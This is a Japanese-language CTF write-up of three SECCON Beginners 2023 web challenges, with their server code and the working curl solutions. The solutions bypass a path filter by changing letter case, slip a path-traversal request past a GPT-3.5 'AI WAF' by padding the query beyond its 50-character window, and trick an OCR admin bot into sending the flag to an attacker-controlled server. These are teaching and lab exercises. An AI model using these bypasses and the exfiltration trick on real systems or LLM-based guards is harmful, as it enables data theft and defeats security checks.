はじめに
SECCON Beginners 2023に参加しました!
解けた問題のうち、web
の問題についてどのように解いたかを書きます。
[web] Forbidden
以下のようなアプリケーションが立っていて、そこからflagを取る問題でした。
一見、/flag
にアクセスをするとゲットできそうですが、リクエストパスに/flag
が含まれていると403が返るようになっています。
var express = require("express");
var app = express();
const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;
app.get("/", (req, res, next) => {
return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});
const block = (req, res, next) => {
if (req.path.includes('/flag')) {
return res.send(403, 'Forbidden :(');
}
next();
}
app.get("/flag", block, (req, res, next) => {
return res.send(FLAG);
})
var server = app.listen(PORT, HOST, () => {
console.log("Listening:" + server.address().port);
});
Expressのドキュメントを見てみると、
Enable case sensitivity.
Disabled by default, treating “/Foo” and “/foo” as the same.
とのことなので、/Flag
などでアクセスをすることで回避できます。
$ curl https://forbidden.beginners.seccon.games/Flag
ctf4b{403_forbidden_403_forbidden_403}
[web] aiwaf
以下のようなアプリケーションで、file
クエリパラメータで示したファイルをレスポンスとして返すものでした。
?file=../flag
のようにしてあげるとよいのですが、AI WAFがいるためそのままではflagを取得できません。
$ exa -T -L 2 .
.
├── app.py
├── books
│ ├── book0.txt
│ ├── book1.txt
│ ├── book2.txt
│ ├── book3.txt
│ └── book4.txt
├── Dockerfile
├── flag
├── requirements.txt
└── uwsgi.ini
import uuid
import openai
import urllib.parse
from flask import Flask, request, abort
# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address
##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################
app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True
# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])
openai.api_key = KEY
top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8" />
<title>亞空文庫</title>
</head>
<body>
<h1>亞空文庫</h1>
AIにセキュリティの物語を書いてもらいました。<br>
内容は正しいかどうかわかりません。<br>
<ul>
<li><a href="/?file=book0.txt">あ書</a></li>
<li><a href="/?file=book1.txt">い書</a></li>
<li><a href="/?file=book2.txt">う書</a></li>
<!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>
※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>
</html>
"""
@app.route("/")
def top():
file = request.args.get("file")
if not file:
return top_page
if file in ["book0.txt", "book1.txt", "book2.txt"]:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read()
# AI-WAF
puuid = uuid.uuid4()
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
try:
response = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{
"role": "user",
"content": prompt,
},
],
)
result = response.choices[0]["message"]["content"].strip()
except:
return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
if "No" in result:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました👻")
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=31415)
一見、プロンプトインジェクションに見えますが、よく見ると
{urllib.parse.unquote(request.query_string)[:50]}
となっており、クエリパラメータの先頭50文字しか送っていないことがわかります。
そのため、
?こんにちは。おげんきですか。こんにちは。おげんきですか。こんにちは。おげんきですか。こんにちは。おげんきですか。&file=../flag
のように50文字以降にfile=../flag
がくるようにしてあげると回避できます。
$ curl 'https://aiwaf.beginners.seccon.games/?%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%
80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1
%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%8
2%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82&file=../flag'
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
[web] phisher2
この問題は、
POST /
に送られてきたtext
パラメータをHTMLファイルとして書き込み、
そのHTMLファイルをChromeで表示させて、スクリーンショットを取ります。
そして、OCRでそのスクリーンショットからテキストを読み取り、
読み取ったテキストがfind_url_in_text
でマッチする、かつhttps://phisher2.beginners.seccon.games
で始まっている場合、
text
パラメータでfind_url_in_text
にマッチするURLに?flag=FLAG
クエリパラメータをつけてリクエストが送られる。
というようなものになっています。
import os
import uuid
from admin import share2admin
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return open("./index.html").read()
@app.route("/", methods=["POST"])
def chall():
try:
text = request.json["text"]
except Exception:
return {"message": "text is required."}
fileId = uuid.uuid4()
file_path = f"/var/www/uploads/{fileId}.html"
with open(file_path, "w", encoding="utf-8") as f:
f.write(f'<p style="font-size:30px">{text}</p>')
message, ocr_url, input_url = share2admin(text, fileId)
os.remove(file_path)
return {"message": message, "ocr_url": ocr_url, "input_url": input_url}
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver
APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")
# read text from image
def ocr(image_path: str):
tool = pyocr.get_available_tools()[0]
return tool.image_to_string(Image.open(image_path), lang="eng")
def openWebPage(fileId: str):
try:
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--window-size=1920,1080")
driver = webdriver.Chrome(options=chrome_options)
driver.implicitly_wait(10)
url = f"file:///var/www/uploads/{fileId}.html"
driver.get(url)
image_path = f"./images/{fileId}.png"
driver.save_screenshot(image_path)
driver.quit()
text = ocr(image_path)
os.remove(image_path)
return text
except Exception:
return None
def find_url_in_text(text: str):
result = re.search(r"https?://[\w/:&\?\.=]+", text)
if result is None:
return ""
else:
return result.group()
def share2admin(input_text: str, fileId: str):
# admin opens the HTML file in a browser...
ocr_text = openWebPage(fileId)
if ocr_text is None:
return "admin: Sorry, internal server error."
# If there's a URL in the text, I'd like to open it.
ocr_url = find_url_in_text(ocr_text)
input_url = find_url_in_text(input_text)
# not to open dangerous url
if not ocr_url.startswith(APP_URL):
return "admin: It's not url or safe url.", ocr_url, input_text
try:
# It seems safe url, therefore let's open the web page.
requests.get(f"{input_url}?flag={FLAG}")
except Exception:
return "admin: I could not open that inner link.", ocr_url, input_text
return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
そのため、
- OCRで
https://phisher2.beginners.seccon.games
が返るようにする -
text
パラメータのfind_url_in_text
のマッチで自分のサーバーが返るようにする - 自分のサーバーのアクセスログを見る
でflagをゲットできます。
OCRで`https://phisher2.beginners.seccon.games`が返るようにする
は、text
パラメータの内容がHTMLファイルとしてブラウザに読み込まれるので、
<p style="display: none;">https://example.com</p>
<p>https://phisher2.beginners.seccon.games/</p>
のようにしてあげることで倒せます。
(自分のサーバーをhttps://example.com
とする場合)
`text`パラメータの`find_url_in_text`のマッチで自分のサーバーが返るようにする
は、はじめにマッチしたURLが返ることがわかるので、https://phisher2.beginners.seccon.games/
を後ろのほうに書いてあげればよいことがわかります。
def find_url_in_text(text: str):
result = re.search(r"https?://[\w/:&\?\.=]+", text)
if result is None:
return ""
else:
return result.group()
最終的なリクエストは以下になります。
$ curl -X POST -H "Content-Type: application/json" -d '{"text":"<p style=\"display: none;\">https://example.com</p><p>https://phisher2.beginners.seccon.games/</p>"}' https://phisher2.beginners.seccon.games
{"input_url":"<p style=\"display: none;\">https://example.com</p><p>https://phisher2.beginners.seccon.games/</p>","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/"}
自分のサーバーのアクセスログを見てみると、
(snip) GET /?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1" 200 (snip)
flagつきでリクエストされています。
パーセントエンコーディングされているので、戻してあげればflagゲットです。
irb(main)> require 'uri'; URI.decode_www_form_component('ctf4b%7Bw451t4c4t154w?%7D')
=> "ctf4b{w451t4c4t154w?}"
さいごに
web以外の問題も解けたものがいくつかあるので、またWriteupを書ければなと思います!